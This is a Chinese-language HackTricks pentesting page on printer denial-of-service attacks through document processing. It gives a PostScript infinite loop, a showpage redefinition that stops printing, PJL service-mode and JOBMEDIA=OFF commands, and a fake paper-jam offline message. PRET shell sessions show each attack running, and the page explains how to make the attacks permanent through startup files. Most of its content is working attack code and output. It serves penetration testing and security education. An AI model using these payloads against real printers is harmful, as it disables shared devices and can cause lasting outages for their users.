hacktricks/network-services-pentesting/pentesting-printers/document-processing.md
2023-08-03 19:12:22 +00:00

5.5 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

页面描述语言允许无限循环或需要大量计算时间的计算。即使是PCL这样的极简语言也可以用来上传永久宏或字体,直到可用内存被消耗完。

PostScript

无限循环

%!
{} loop

使用PRET

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

重新定义showpage

通过将showpage设置为什么都不做即可阻止PostScript作业打印页面。

true 0 startjob
/showpage {} def

使用PRET

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

两种攻击代码也可以写入Sys/Start、startup.ps或类似的文件中以在具有可写磁盘的设备上造成永久的拒绝服务DoS

PJL

PJL jobmedia

专有的PJL命令可用于将旧的HP设备如LaserJet 4k系列设置为服务模式并完全禁用所有打印功能如下所示

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

使用PRET

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

离线模式

此外PJL标准定义了OPMSG命令,该命令“提示打印机显示指定的消息并进入离线模式” \cite{hp1997pjl}。可以使用此命令模拟纸张卡住的情况,如下所示:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

使用PRET

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

了解更多关于这些攻击的信息,请访问 http://hacking-printers.net/wiki/index.php/Document_processing

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥